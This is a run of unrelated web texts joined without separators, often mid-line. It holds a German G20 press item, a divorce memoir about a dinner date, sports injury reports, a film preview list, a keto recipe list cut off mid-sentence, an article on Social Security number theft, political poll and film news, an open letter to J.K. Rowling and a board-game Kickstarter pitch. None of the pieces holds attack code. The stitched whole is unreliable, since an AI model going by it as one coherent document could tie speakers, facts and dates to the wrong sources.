At Monday's regular government press conference, German Interior Ministry spokesman Johannes Dimroth refused to say what security risks the journalists represented at the G20, or even what kinds of security risks journalists might represent, on the grounds that this would infringe the privacy rights of the journalists involved.
Dimroth insisted, however, that the confiscation was "in no form meant as a criticism of their reporting." The confiscations were "exclusively for security reasons."Everything that comes with a relationship can be counted — in years, losses, gains, money, friends, family. The end of a marriage deserves an accounting. The numbers matter. We had been married 27 years. Two sons. Four houses. Thirty Christmases. The list does not have an end. Sometimes, emerging from a divorce, it takes a while for things to add up.
Three years ago, when I was 56, I suggested to my husband that he move out of our house in New Jersey. Our marriage had been faltering for years. As he was settling into his new apartment in Manhattan, he called. He was struggling. He said that he didn't want a divorce. He was sorry for his part in our breakup. It was October; he promised that we, and our two sons, would still spend that Christmas together as a family. We pledged that we would always be friends, and our family would survive. We would stay separated for a year and, somehow, together, figure out this whole thing.
Five months after our pledge, and six months into our separation, my husband called. It still wasn't unusual for him to call me. We spoke every few days. We even met for dinner or a drink on occasion. After a few minutes, as we were about to hang up, he told me that he was "seeing someone."
"Seeing someone." Two words that splintered my head into speechlessness, followed by a dizzying internal stream of, What about "Our family would survive"? What about "We'll always be friends"? What about "We'll get through this together"?
I sputtered into the phone:
"Who is she?"
"You're seeing someone?"
"Are we supposed to be dating?"
"What about me?"
"What about us?"
"How old is she?"
"Are you getting married?"
"What if she wants kids?"
"Who is she?"
My ex-husband is a business executive. He runs meetings. When I paused to catch my breath, he answered every question with purpose.
She was 39 or 40. (He was my age.) She was "very successful." He told me where she worked. He said he would always be in my life. "Nothing has changed."
He said he would never be with anyone "who didn't understand this."
And: "I told her I have two sons in their twenties, and I don't want any more kids."
Three months after that phone call, and nine months into what had become a separation that was now laying bricks on the road to divorce, it was time, according to friends and family, to "put yourself out there." "Maybe go online." "See someone!"
One girlfriend had started a profile for me on eHarmony. It took two weeks for me to bite — a solitary Friday night, over wine, when I was feeling especially feisty and brave. So I named myself Isabella on my eHarmony profile, put up a year-old headshot, and watched half in fascination, half in horror as eHarmony's computerized compatibility matrix churned out a slew of Santa Claus look-alikes — some on Harleys. (Not my type.) But eventually one stood out — a 59-year-old IT guy from Manhattan. We agreed to meet for dinner in my suburban town one July night. I wore my favorite black dress with the cool belt. It was my first date in over 30 years.
We sat at a table by the door, across from a misplaced water sculpture. We politely bantered back and forth about how each of us ended up middle-aged and single. We picked at tuna and scallops, washed down with wine for him and vodka for me. We talked about our jobs. He said this was his first date in a while. He told me he practiced Buddhism, and he said at a few points that I had good energy.
I wasn't feeling it. What I was feeling was tangled. Absurd. Inept. I didn't want to be there anymore.
While we were eating our way through 30 seconds of awkward nothing, I asked:
"So, you're holding a baby in one of your profile pictures. Is that a granddaughter?"
"No," he said. "I don't have any grandchildren. That's my niece's daughter."
He did have one daughter, he continued. She was 40. And she had no kids — was the kind who would hug them, and then be happy to give them back to their parents, he said.
"Wow," I said. "What's it like to have a child in her forties at 59?"
He said she was born when he was 19, and he was in and out of her life until she was older. Their relationship was less of a father and daughter, and more "an adult relationship." They were friends.
He tossed around some loving adjectives to describe her. She was "very successful." He told me where she worked. She was, he explained, dating an older man.
As my date continued to talk about his daughter, I half-listened. We really didn't have anything in common. He continued to tell me that, "about three or four years ago, when she was around 36 — she's 40 now, and will be 41 in December," she asked him how he would feel about her "dating a man who was almost his age."
I nodded, while swirling my scallop in sauce. I looked up. I didn't think much of what he was saying. Until he said, "He told her that he didn't want any more kids; he already had two sons in their twenties."
My brain clicked, my breath was stuck, and my stomach was walloped with a pang of odd familiarity. My head tilted. It took me a minute to find my voice.
"Is your daughter's name Michelle?" I asked him, fully expecting him to answer with, "No, it's Karen." Or Danielle. Or Tiffany.
"You know my daughter?" he asked.
My head shook sideways. My face crinkled. I lost my fork.
"Is her boyfriend's name Jim?"
His expression discombobulated into complete bewilderment. Not a word came out of his mouth. I came out of my body. The room became a blur of scurrying waiters, and all I could hear was the water recycling through its bad sculpture.
"I think... your daughter...is dating... my husband."
My head sunk. My hands were clenched.
"Your. Daughter. Is. Dating. My. Husband."
And then what he had said earlier hit me: His daughter came to him about the older man she was dating "about three or four years ago." Three or four years ago. My husband and I had separated less than one year ago. We were already a cliché. Now we were a soap opera.
I chugged my martini in record time. My date, who was not a drinker, more of a sipper, poured his wine to the back of his throat. I ordered another.
We finished dinner, stupefied; our heads shaking simultaneously. We were not sure where to take the conversation, beyond different ways of saying: "What are the chances?"
"In the millions," I thought.
We ended our date, said good-bye, and I drove home and sat outside on a concrete step just beyond my back door until the sun came up. My body was frozen in place; my mind was reeling round and round over my whole life. About how the undoing of my marriage, and the cracks, came early on. That we were a couple that friends often called mismatched — the whole "opposites attract" thing; we often battled — and how my husband and I had been on a long, circuitous sleepwalk to somewhat separate lives for decades. Our disagreements, or arguments, were emotionally brutal — I was usually a devastated, dilapidated, wet mess; he was always resigned. We often threatened to end it, but we were all words, no action. Since separating, we still had to figure out how to untie an old familiar knot.Marco Reus only suffered a bruised knee in Borussia Dortmund's 2-0 DFB-Pokal win at Dynamo Dresden on Tuesday and is not set to be ruled out for the rest of the season, according to Ruhr Nachrichten.
Reus, 25, left the pitch limping after only 24 minutes following an off-the-ball foul by Dresden's Dennis Erdmann.
When doctors checked for a possible anterior cruciate ligament tear at the Glucksgas Stadium there was speculation that the Germany international had suffered another major injury setback.
Reus, who signed a new Dortmund deal in February, has already been sidelined twice with severe ankle injuries this season and has been limited to just 19 competitive appearances for his club.
Marco Reus' injury is reportedly not as bad as first feared.
However, on Wednesday morning, Ruhr Nachrichten reported that Reus suffered only a bruised knee, easing worries that the attacker's season could be cut short.
Erdmann added in Ruhr Nachrichten: "Reus ran against my knee, and suffered a thigh knock. I played in the Kreisliga [the lowest division in German football] in the past. There, you'd have only looked at it, rubbed it, and played on. But I don't think that's common in the Bundesliga business these days."
Speaking to reporters at his postmatch news conference, Dortmund coach Jurgen Klopp had said that Reus appeared to have only suffered a thigh knock, but added that he would face an uphill task to be fit in time for the Bundesliga clash at Hamburg on Saturday.The Place Beyond The Pines
This shadowy crime drama arrives from Blue Valentine director, Derek Cianfrance. Cianfrance reunites with star Ryan Gosling here wisely pairs him up with newcomer Bradley Cooper, the latter gaining serious cred in the acting arena and responsible for earning Silver Linings Playbook several awards show nods. The movie has already gained some glaringly positive reviews following a few select festival screenings. Based off previous movies, we have no doubt Cianfrance can add the right balance of tone to elicit career performances from Gosling and Cooper.
Man of Steel
Described as ‘the crown jewel’ of DC Comics by some in the industry, it’s about time a quality filmmaker like Zack Snyder (Watchmen, 300) put love and same attention to detail into Superman that franchises like Batman have enjoyed of late. Speaking of Batman, Christopher Nolan is acting as producer here and reportedly helped Snyder guide important elements of the story and tone. If Nolan had his hands on any part of this movie, coming off the heels of The Dark Knight Rises, audiences aren’t wrong to expect the most compelling installment in this timeless franchise to date.
The Hobbit: The Desolation of Smaug
It’s fair to say The Hobbit: An Unexpected Journey received mixed reviews at best, but for true Lord of the Rings fans it’s still coveted as an opportunity to return to Middle Earth. Director Peter Jackson has clearly found ways to justify an entire trilogy, incorporating much of the lore easily left by the wayside. It’s safe to assume the first installment of the slightly controversial trilogy merely served the purpose of setting the long oaken table in the hobbit-hole. Martin Freeman should continue to flourish in his title role alongside the brilliant Ian McKellen.
Monsters University
Pixar can seemingly do no wrong. The animation has no equal when creating movies ideal for kids that respect the intelligence of older audiences, blending complex emotional themes not seen since the likes of Lion King. Their latest installment, Monsters University, actually arrives around the same time kids who saw the original in theater would be entering college. It’s been that long since Billy Crystal and John Goodman, monsters Mike & Sully, teamed up for one of the greatest feel good family friendly comedies to date. There’s good reason to be excited – Pixar is highly versed in the art of sequels (see: Toy Story 3).
Star Trek Into Darkness
There’s still quite a bit of mystery enshrouding the incumbent sequel to J.J. Abram’s Star Trek revival, stemming from an explosive trailer that has Trekies itching in anticipation. Is that supposed to be Khan? Did they just allude to the death of Spock? Is the Enterprise going to crash, again? The franchise has hit a tremendous stride under new direction, ushering forth an impossible reality where more people are excited for an imminent Star Trek installment over the next chapter of Star Wars.
World War Z
Perhaps our morbid curiosity got the best of us here, but this adaptation of Max Brooks’ bestselling novel is incredibly alluring – and not entirely for reasons encouraging. A Brad Pitt heavy trailer suggests serious liberties have been taken in plot, liberties that already seem to be generating tremendous backlash amongst fans of the original concept. Can audiences gain anything from a disaster flick with the XY portion of Brangelina? Maybe not. But hey, zombies!
Kick-Ass 2
The refreshingly original Kick-Ass finally gets its long awaited sequel with the added bonus of a rare Jim Carrey sighting as the newly recruited Colonel Stars and Stripes. Critics hailed the original ode to vigilantism for being equal parts compelling and hilarious, an unconventional comic book flick that never takes itself too seriously with just the right amount of gratuitous violence. Kick-Ass 2 promises to raise the stakes.
Ender’s Game
It’s any wonder Hollywood hasn’t already churned out the appropriate adaptation for Orson Scott Card’s cult classic sci-fi novel. Alas, Harrison Ford returns to the very interstellar space that made him famous alongside budding actor Asa Butterfield. Whether the film can step outside the immense shadow cast by the source material, Ender’s Game seems to at least be a visual draw of blockbuster proportions.
12 Years a Slave
Following Quentin Tarantino’s 2012 revisionist history epic Django Unchained, comes another story of an enslaved man in the antebellum south from one of my favorite up-and-coming directors, Steve McQueen. Best known for writing and directing 2011’s controversial Shame, McQueen has broken character with this dark historical drama. 12 Years a Slave is the adaptation of an 1853 memoir written by Soloman Northup. The story follows Northup, a freed slave who is unwillingly forced back into slavery and passed from plantation to plantation for over a decade. The film features a cast that is a cinephile’s wet dream with Brad Pitt, Michael Fassbender, Benedict Cumberbatch, Paul Dano, Paul Giamatti, Michael Kenneth Williams (Omar from the Wire), and Chiwetel Ejiofor in the lead role. Twelve Years promises to be an excruciating character study that is impeccably shot.
The Great Gatsby
Written off by many when first announced, The Great Gatsby raised further criticism when production was halted and the original release was pushed back. The film actually boasts the appropriately named director Baz Luhrmann and the talents of Leonardo DiCaprio as the lead role. A justifiable version of F. Scott Fitzgerald’s could resonate effectively with audiences as the behavior of the 1% remains a considerably topical talking point.Phew, what a year it’s been! I hope everyone had a great busy holiday season and is starting to wind down again. With over 250 recipes posted by me over the weeks that have gone by, I decided that I needed to highlight a few of my favorites.
I put together this list of just over 50 recipes that I personally loved and am still making to this day. Recipes that can be used and re-used over and over and continue to please the palate of any picky eater.
So, if you’re ever in a spot where you’re not sure what to eat, simply favorite or share this page and visit it when you’re in doubt. You’ll have tons of ideas on what to eat and what to serve your family for months to come.
I’ve also pointed out the 5 most popular recipes that were visited around the site – dubbed “Reader Favorites.” These are the recipes that I had the most positive feedback on and people are continuing to make time and time again.
To help round out the top recipes, here’s the top three articles visited on the site. Just a reminder to everyone that’s just starting or coming back for a new attempt at keto this year, there’s great articles on both recipes and information for you on the site!
Starting Out
Here, I talk about everything on this website. Why I started it, who I am, and best of all – links to all your keto resources you’ll find handy if you have any questions.
30 Day Ketogenic Diet Plan
Already downloaded by thousands of people, this page is exactly as stated. It’s a diet plan that can be used by you throughout the year. One full month plan to help you succeed on your diet.
Ketogenic Diet Cheat Sheet
If you ever have any cravings or want to create a low-carb version of your favorite recipes, this will be your new go-to. With plenty of ideas to choose from, you’ll be able to recreate your favorite recipes easily.
I hope everyone has a great New Year and a great 2015 to come!
Pumpkin Pie Spiced Waffles
Having something sweet in the morning is what some people absolutely crave. Making waffles that revolve around the fall season is an enticing treat that nobody can say no to. If you want them during the summer or spring, just leave the pumpkin pie spice out and you’ll be able to put any kind of topping on! See Recipe Here
Breakfast Cauliflower Waffles
If you tend to swing more to the savory side, fear no more. Savory cauliflower waffles with a poached egg and hollandaise sauce will fit the bill. It’s absolutely delicious, and almost fool-proof for not burning in the waffle maker. See Recipe Here
Maple Pecan Fat Bomb Bars
These things have gotten me through some pretty tight situations. When it comes to meals on the go, especially for travel, these guys have come through tenfold. Absolutely delicious and packed full of fat, you won’t need any type of pre-made granola bars again. See Recipe Here
Cinnamon Sugar Donut Muffins [#2 Reader Favorite]
Although they have more of a dessert-y feel, these muffins are just what the doctor ordered if your sweet tooth is out early. Packed full of |
elaborate crimes like insurance fraud. In addition to being unique and widely available, the vast majority of SSNs were assigned according to a publicly-available formula. Because it was never intended to be used for identification — the SSA added the disclaimer "FOR SOCIAL SECURITY PURPOSES NOT FOR IDENTIFICATION" to the card in 1946, then removed it in 1972 during a redesign — this was never anticipated as being a problem.
Insecurity
In 2009, researchers developed an algorithm that could guess an individual’s SSN with up to ten percent accuracy depending on the size of the population in the state it was issued. Combined with phishing attacks that trick people into giving up their last four digits, malevolent hackers have become pretty adept at cracking any individual’s number. Algorithms aren’t necessary anymore, though. SSNs have become available through data resellers, security breaches at various companies and government agencies, unsuspecting customer service representatives, and even public records, if you know where to look. SSNs can be bought in bulk for $1 each on private online forums, and a specific person’s SSN can reportedly be had for as little as $3.80.
A screenshot of an underground forum where identity thieves do business. Source: RSA
Social Security numbers are the most common starting point for identity thieves, said Angel Grant, a senior manager at the information security firm RSA, which monitors the black markets where identity thieves traffic. In the last five years, SSNs have become so easy to obtain that thieves now usually bundle the number with extra identifying information like birth dates and even medical records in order to get the price up. "A Social Security number is good, and it’s very easy for a fraudster to obtain," she said. "Social Security numbers are a commodity in the underground right now."
"Social Security numbers are a commodity in the underground right now."
The pitfalls of using SSNs for identification have been known for years, but there has been a recent push by state and local governments to make the number more secure. Last year, the SSA dropped the formula it had been using to assign new numbers in favor of a randomized method. The Social Security Protection Act of 2010 prohibits government agencies at all levels from displaying the number on checks. At least 20 states have enacted laws restricting the use of SSNs. Even private companies are starting to roll back their reliance on the SSN due to security concerns, Grant said.
In August, the state of New York passed a law that will prohibit most types of companies from refusing service to customers without an SSN, and subjects violators to a $500 fine. Jeffrey Dinowitz, the New York assemblyman who sponsored the law, said he gets complaints from his Bronx constituents who are constantly asked to give up their SSNs. Tellingly, the complaints come mostly from older people who remember a time before the SSN became a US resident’s de facto ID.
The bill was introduced a few years ago, Dinowitz said, but for some reason it failed to gain traction with other state lawmakers until now. "I think the dissemination of Social Security numbers should be done sparingly," he said. "There are so many ways to take advantage of or steal people’s identity, but the most important number is the Social Security number. I don’t give it out."
Hackers now frequently bundle SSNs with harder-to-get information. Source: RSA.
After year of warnings from groups like the Privacy Rights Clearinghouse and the Electronic Privacy Information Center, the public may be waking up to the dangers of systemic reliance on the SSN. High profile data leaks at companies like Sony and LinkedIn in the last year have increased general awareness of the underground market in personal information and the danger of losing control of one’s data. The SSN is the ultimate password because it’s always the same, whether you’re talking to your bank or your doctor, and so many companies use it to authenticate customers over the phone.
"Can you verify your Social for me?"
It’s unclear when private companies first had the bright idea of using SSNs to identify their customers. The evolution of laws that required the use of SSNs for various government purposes like food stamps is well-documented, and the government does require that SSNs be collected by certain financial institutions. In fact, the Social Security Administration is one of the most nostalgic agencies in government and maintains extensive historical records. It has its own (modest) history museum, its own historian’s office, and a history of the historian’s office on its website along with a thorough archive of historical documents.
But when asked about the proliferation of the SSN in the private sector, the historians were stumped. "Over the decades, the uses of the number have expanded greatly beyond that original idea for it and it’s become, for many private purposes, an identification thing," said Jane Zanca, a spokesperson for the agency. "There really isn’t a timeline or anything. It seems it's pretty early on that the issue must have come up."
A screenshot of a hacker selling identity information. Source: RSA
Similarly, the Government Accountability Office issued a report in 2004 that acknowledged that the private sector entities "routinely" obtain and use SSNs, but does not say how the practice started.
The use of the number by the three credit reporting agencies, which are privately owned, would have encouraged the practice by other companies because having the number makes it easy to run a credit check on a new customer.
But Chris Hibbert, who published a widely-disseminated SSN explainer on Usenet and maintained it for 20 years, says the credit bureaus weren’t even early adopters. "They didn't take off until SSNs had been in use for quite a while," he said in an email. "There has long been a confusion over whether the SSN is a secret (and so would be useful for verifying someone's identity) or a public identifier (and thus should be treated as well known)." He hypothesized that local utilities may have been the first to use SSNs, or that it might have spontaneously occurred to companies throughout the private sector.
Some privacy rights diehards prefer to give out Richard Nixon’s SSN as their own
The SSN is still awkwardly short of being as public an identifier as a name, but perhaps it should be treated as such. For now, most consumers who try to withhold their SSN from private companies are in for an uphill battle. A resistant customer usually has to talk to a manager and may be asked to plunk down a deposit in exchange, and it’s legal in most states for companies to refuse to do business without the number. Some privacy rights diehards prefer to give a fake SSN or one belonging to a dead person (Richard Nixon's is a favorite). This often works but is technically illegal.
"It's the only thing that's really unique," said Paul Stephens, director of policy and advocacy at the Privacy Rights Clearinghouse. But given the popularity of SSNs with legitimate service providers and identity thieves alike, it's become increasingly tough to protect. "We tell people, 'if a private business wants your Social Security number... you should just say no."
Still, the vast majority of customers don’t realize that in many situations, including at the doctor’s office, a SSN is not legally required. Until the problem of public perception is corrected, SSNs will continue to function as the national ID system that Americans on both sides of the political spectrum have said they do not want.
What's next?
The National Strategy for Trusted Identities in Cyberspace is not really a push for a national ID, either. Each of the pilot projects has a specific focus, including healthcare, ecommerce, and senior citizens, with the hope that the government’s investment will lead to multiple systems. "The government will not require that you get a trusted ID," says NSTIC’s website. "If you want to get one, you will be able to choose among multiple identity providers — both private and public — and among multiple digital credentials. Such a marketplace will ensure that no single credential or centralized database can emerge."
The National Strategy for Trusted Identities in Cyberspace is not really a push for a national ID
The projects will test solutions that rely on mobile phones, biometrics, encryption, and other cutting-edge security technology that lets consumers browse anonymously but also validate their identities when needed. If one or more of the privately-developed online identity systems commissioned by the Obama administration proves effective, it may end up creeping into daily use the same way the SSN did — that is, through common practice instead of federal mandate. Unlike the SSN system, these systems are being designed for use as an identifier. If implemented, one of these systems could easily substitute for many less secure verification methods in place today, including typing in your mother’s maiden name or reciting the last four digits of your SSN.
Making any identification system secure yet usable and universal yet private is a challenge, to say the least, and must be handled delicately in order to avoid comparisons to 1984. But even if the idea of a government-funded online identity system creeps you out, the existence of such alternatives would mean the private sector could give SSNs a rest.Democratic presidential frontrunner Hillary Clinton is not doing well in polls centered on her honesty and trustworthiness.
A Quinnipiac poll released Tuesday shows that 59 percent of Americans view Hillary Clinton as being “not honest and trustworthy,” with only 35 percent thinking that she is, actually, honest and trustworthy.
The 24-point gap in the honesty poll could mean problems for Hillary Clinton, who is basically running against herself – and her own ethics scandals – at this point in the Democratic primary. If Bernie Sanders continues to pillory Clinton from the left during the primaries, and Donald Trump continues to hammer her for the fact that she has a pending FBI investigation into her private email scandal, the general election results could swing against her.
Some 55 percent of poll respondents said that Clinton does not share their values, while 50 percent said that she doesn’t care about their problems.
However, 58 percent said that she has strong leadership qualities, and her numbers for “experience” better Republican frontrunner Donald Trump’s numbers in the poll.
Trump leads the Republican field in the poll with 28 percent support, followed by Ted Cruz at 24 percent.A press release from Warner Bros. Pictures has confirmed that filming on Christopher Nolan’s 2017 follow-up to Interstellar, a World War II drama entitled Dunkirk, has begun in Dunkirk, France. Additionally, a number of beautifully shot photos from the set of the film, taken by Pierre Volot, were recently discovered by Cinefilos. In the pictures, Nolan, who is both writing and directing the film, can be seen interacting with others and tending to his directing duties as well. See them below…
The images seem to make it clear that although Dunkirk may not be a film of the same size of The Dark Knight Rises or Interstellar – Nolan’s previous two efforts which both had budgets upwards of $150 million – it’s still a very large production, as would be required for any film that wants to capture an authentic early World War II feel.
The film tells the story of the 1940 Dunkirk evacuation that saved hundreds of thousands of Allied soldiers from surrounding German forces.
The press release states the following about the film…
“Dunkirk” opens as hundreds of thousands of British and Allied troops are surrounded by enemy forces. Trapped on the beach with their backs to the sea they face an impossible situation as the enemy closes in.
Holland, the UK and Los Angeles are other locations where the movie will shoot.
Dunkirk stars Nolan regulars Tom Hardy (Inception) and Cillian Murphy (The Dark Knight Rises), Mark Rylance (Bridge of Spies), Kenneth Branagh (Jack Ryan: Shadow Recruit), One Direction singer Harry Styles, Aneurin Barnard, Jack Lowden, James D’Arcy, Barry Keoghan, Tom Glynn-Carney and newcomer Fionn Whitehead. Nolan will be producing alongside Emma Thomas as well. The film will be shot on both IMAX 65mm and 65mm large-formats and will be released on July 21st, 2017.Dear JK Rowling,
I am unabashedly a huge Harry Potter fan. I first encountered Harry when I was in Junior High, volunteering at the public library (nerd status, I know). The children’s librarian handed me book 1, and I was hooked. I even used to frequent Harry Potter message boards back in the day with my friend Kathleen (we were “Parvati” and “Lavender” cause we also shared an interest in divination, ha). Anyway, all this is to say, Harry holds a sacred spot in my heart. But I’m not one of those fans who can recite things verbatim, or remember every tiny detail, so if I’m missing something, I hope one of those fans will help me out.
I’ve been interestedly following the news that there is a new Harry Potter prequel-of-sorts in the works, for “Fantastic Beasts and Where to Find Them,” following “magizoologist” Newt Scamander. I hadn’t been following it closely, but a few days ago, I saw your exchanges on Twitter about the name/location of the American Wizarding School–and I started to get a bit concerned.
.@loonyloolaluna If I answer that fully it will reveal the location of the school, but you can take that as a yes! — J.K. Rowling (@jk_rowling) June 7, 2015
.@loonyloolaluna Oh wait – did you mean the NAME is of American Indian origin? It isn't. The name is of immigrant origin. — J.K. Rowling (@jk_rowling) June 7, 2015
.@loonyloolaluna However, indigenous magic was important in the founding of the school. If I say which tribes, location is revealed. — J.K. Rowling (@jk_rowling) June 7, 2015
So, here are the things that make me a little uncomfortable. But first, I smiled when you referred to the name of the American school as “immigrant origin”–rather than saying something like “American” or “normal” or something else that normalizes settler language and naming on our lands–10 decolonizing points for Gryffindor! Bonus points for using the term “indigenous” and for realizing not only are there many, many tribes, but that they are tied to place and specific location. Much more effort than most folks, even here in the US.
But I’m nervous about “Indigenous magic” and specific tribes being associated with the wizarding school. Part of the pure joy of Hogwarts is that it is completely and totally imaginary. The wizarding world you created for us through Hogwarts is nothing short of incredible, and allows us as readers to be immersed in a world and history and peoples completely outside our own. Hogwarts has roots in the British schooling system, yes, but there aren’t any strong references to actual traditions from the lands Hogwarts occupies (like Druid or Celtic “magic”).
(ETA (6/9): I stand corrected. Apparently there are all kinds of references to Celtic/Druid/other local traditions–which actually lends credence to my points. As an American kid with no frame of reference, these traditions with actual histories, cultures, and backstories, became “completely imaginary.” Can you imagine if the reverse becomes true? If an international audience is exposed to Native traditions without any basis for understanding, and therefore absorbs them into a fantasy wizarding world? Especially since our struggles and oppression is not something of the past…)
The problem, Jo (can I call you Jo? I hope so), is that we as Indigenous peoples are constantly situated as fantasy creatures. Think about Peter Pan, where Neverland has mermaids, pirates…and Indians. Or on Halloween, children dress up as monsters, zombies, princesses, disney characters…and Indians. Beyond the positioning as “not real,” there is also a pervasive and problematic narrative wherein Native peoples are always “mystical” and “magical” and “spiritual”–able to talk to animals, conjure spirits, perform magic, heal with “medicine” and destroy with “curses.” Think about Grandmother Willow in Pocahontas, or Tonto talking to his bird and horse in The Lone Ranger, or the wolfpack in Twilight…or any other number of examples.
But we’re not magical creatures, we’re contemporary peoples who are still here, and still practice our spiritual traditions, traditions that are not akin to a completely imaginary wizarding world (as badass as that wizarding world is). In a fact I quote often on this blog, it wasn’t until 1978 that we as Native peoples were even legally allowed to practice our religious beliefs or possess sacred objects like eagle feathers. Up until that point, there was a coordinated effort through assimilation policies, missionary systems, and cultural genocide to stamp out these traditions, and with them, our existence as Indigenous peoples. We’ve fought and worked incredibly hard to maintain these practices and pass them on.
So I get worried thinking about the message it sends to have “indigenous magic” suddenly be associated with the Harry Potter brand and world. Because the other piece I deal with on this blog is the constant commodification of our spiritual practices too. There is an entire industry of plastic shamans selling ceremonies, or places like Urban Outfitters selling “smudge kits” and fake eagle feathers. As someone who owns a genuine time-turner, I know that marketing around Harry Potter is a billion dollar enterprise, and so I get nervous thinking about the marketing piece. American fans are going to be super stoked at the existence of a wizarding school on this side of the pond, and I’m sure will want to snatch up anything related to it–which I really hope doesn’t include Native-inspired anything.
I know at this point my concerns are complete speculation drawn off a few tweets, and so I hope these are things you’ve thought through as well. We just have so few representations of Native peoples or cultures in popular culture, and the representations that we do have are largely negative or stereotypical. We will be undoing the damage of the Twilight wolfpack and Tonto for years to come, and those audiences pale in comparison to the international appeal of Harry Potter. So Jo, I just hope you can remember that Indigenous peoples are real, and the choices you make around the American Wizarding School, as ridiculous as it seems, will have real implications and impact on our continued struggles for recognition, decolonization, sovereignty, and justice.
Wado (thank you),
Adrienne
(Thanks Debbie for first bringing this to my attention!)In The Island of El Dorado, you are a brave explorer seeking to discover and control the island's four Shrines. You'll reveal a unique and challenging landscape every single time the game is played which will require you to adjust your strategy as you go. Managing resources and battling the other explorers, it's a tense and explosive race to control the Shrines first!
YOU DID IT! Unbelievable. You have unlocked all of the stretch goals! This game is much higher quality than I ever imagined it could be. It's going to be so luxurious. Thank you for turning this dream into a reality.
The artwork for The Island of El Dorado was painted by artists in the 16th century when the game takes place. I am honored to have these beautiful pieces of art set the scene for these explorers' journeys. What better way to transport a gamer to another age than works of art from that time period?
The Metropolitan Museum of Art has graciously allowed me to use these exceptional pieces through a new policy known as “Open Access”, implemented on February 7th, 2017. This policy allows images of artworks from the public domain to be widely and freely available for unrestricted use. I’m very proud to use these remarkable pieces in a new way.
I’ve partnered with a well-known fulfillment company called “Ship Naked” to deliver the most efficient shipping experience possible. I’ve also subsidized much of the shipping and taxes to keep prices low for our backers.
Your name will be printed in the box. It's very important to me that the backers are part of this project. There will be sheets with "A special thanks to:" and a list of names of everyone who supports our Kickstarter. It's a fun part of the project that you can show off.
You will be heard. We're working together on this project, and I will read and hear every comment and message you send me. I'm happy with where the game is currently, but I'm always looking to improve it and make it even more fun, and I’ll be honest with you the whole way through this process.
The Island of El Dorado is a passion project. When this started out, I just wanted to design a game that my friends and family would enjoy. Some of my friends are heavy gamers, and some don’t game at all. It's really hard to find a game that excites both groups, but I designed El Dorado purposefully so everyone would be able to understand and enjoy it. This caused the game to be very simple to play, but deep in its strategies.
I saw how much fun and excitement the game was bringing to my friends and family, so I started blind-playtesting it with people I didn't know. Through hundreds of playtests (with both friends and strangers) I've seen that El Dorado is fun for all sorts of different people, and my hope is that people all over the world would enjoy with their friends and family the exciting moments that this game creates. It seems like every game ends with the whole group standing up in tense excitement for one last fight!
I'm a family man who could not do this project alone. I run a creative agency, and because of that I want this passion project to greet you with its full potential, and the best way to do that is through mass production. I'm very excited to share this game with you all!
You are needed. I need your help to make this game happen. The game is completed and ready to go, but in order to make it high quality, we need to mass produce it. Panda Manufacturing has a minimum order we need to meet in order to make this a reality, and that’s where all of you come in.
Limited Availability. There will only be a limited number of games printed in this version. With stretch goals, it could have more content and higher quality pieces than future printings do.
This is just the beginning. I see a modular board like this and see SO many possibilities for expansions just by adding more tiles to the starting stacks. It would be easy to do, and add even more depth to the game. Like I said, this game is designed to appeal to gamers and non-gamers, but I know there will be groups of hard gamers that would appreciate expansions, even more depth, and longer games. Exciting stuff!
Some people have cursed hands and dislike dice in games. I’ve included a very simple rule option for more experienced gamers who wish to reduce the effect of luck in El Dorado. It barely changes the gameplay, and removes 50% of the luck in the game.
Reduced-Luck Optional Rule: Instead of players rolling two die to start their turn, just roll one. Choose between the top and bottom of that die to be your movement and resources for that turn.
With this rule, players will always roll a sum of 7, but the split is what the dice determines. Nothing else in the game changes!
Why isn't this the standard rule? Both rules have been play-tested extensively, and I personally like the rush of getting "good" and "bad" rolls. The standard rule introduces an element of chaos and also makes the game easier for novices - which is huge for bringing more people into this great hobby!
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This game is in pre-production. Kickstarter images are not final. While there is no immediate plan to change anything, the final look, materials, and content of the game are subject to change and may differ slightly from what is presented while the Kickstarter project was active.The 2013 MLB Spring Training season is well underway. Most players are working their way into “game shape”, but others are simply recovering from pre-season (or post depending on how you look at it) surgeries. Regardless spring training injuries do have an impact on those playing fantasy sports. Those who want to win should be checking on injury lists before their draft or else deal with drafting a injured player. There are many embarrassing moments during a fantasy draft but none more than drafting a player who is injured…unless you’re a CFL team and manage to draft dead players.
A look around the major league camps this week and we’ve heard some major set backs for some teams. Mark Teixeira will likely start the season on the disabled list (DL) after he strained a tendon in his right wrist. The New York Yankees really didn’t need this injury on top of injuries to Curtis Granderson (fractured forearm), Phil Hughes (back), and Alex Rodriguez (hip). For fantasy players, it is an elite level first baseman that can’t be drafted in the first 4 rounds of a draft (but if you’re willing to use a bench spot, Teixeira is a bargain if you get him after the 8th round).
The Toronto Blue Jays got some bad news as well, with Brett Lawrie missing the World Baseball Classic due to a strained rib cage. This should change Lawrie’s draft position since he is expected to be ready for opening day. The Jays also had to scratch Sergio Santos from his scheduled spring appearance due to a sore triceps. The Jays are also hoping that Casey Janssen’s recovery from off-season surgery stays on schedule so that the Jays closer can be ready for opening day.
Another injured player that will probably be downgraded during drafts is Corey Hart. Hart has had two solid seasons and looks set to contribute once he fully recovers from his knee surgery. He should be there on the board for someone to take in the mid-teen rounds of your draft. Over the past two seasons I would say that Hart has been undervalued in fantasy leagues, so if the price is right go get this guy (I know I will be willing to use a bench spot to stash him until mid-April).
In St. Louis there are a couple of big name injuries. Fantasy junkies should be reminded that Chris Carpenter will not pitch this season as he is still dealing with weakness in his neck and shoulder that effected him at the start of last season. He is taking the year off and may be done for good. Also Rafael Furcal needs Tommy John surgery and will be out for most of the season, leaving the Cards SS position wide open.
In Oakland, Bartolo Colon is serving a 50 game suspension for the use of PEDs, and should be downgraded accordingly.
The Texas Rangers will have to deal with injuries to Neftali Feliz (August) and Colby Lewis (June), throwing a number of question marks into their pitching staff.
In general there are quiet a few others injuries on the MLB Injury Report page, but nothing to be concerned about as most players appear to be ready for opening day or shortly thereafter.
I mentioned the World Baseball Classic above…and I must report that I am saddened that the South Korean baseball team failed to advance to the next round of the WBC. Pool B will be represented by The Kingdom of the Netherlands and Chinese Taipei. I guess the early exit of the team from the Motherland means that I can root for Joey Votto and the Canadian team…but there goes my prediction of a South Korea vs. Canada WBC final.
Feel free to comment below, and don’t forget to follow the site on Twitter – @LastWordOnSport
photo credit: Keith Allison via photopin ccJulian Zelizer is a history and public affairs professor at Princeton University and the author of " The Fierce Urgency of Now: Lyndon Johnson, Congress, and the Battle for the Great Society." He's also the co-host of the " Politics & Polls " podcast. The opinions expressed in this commentary are his own.
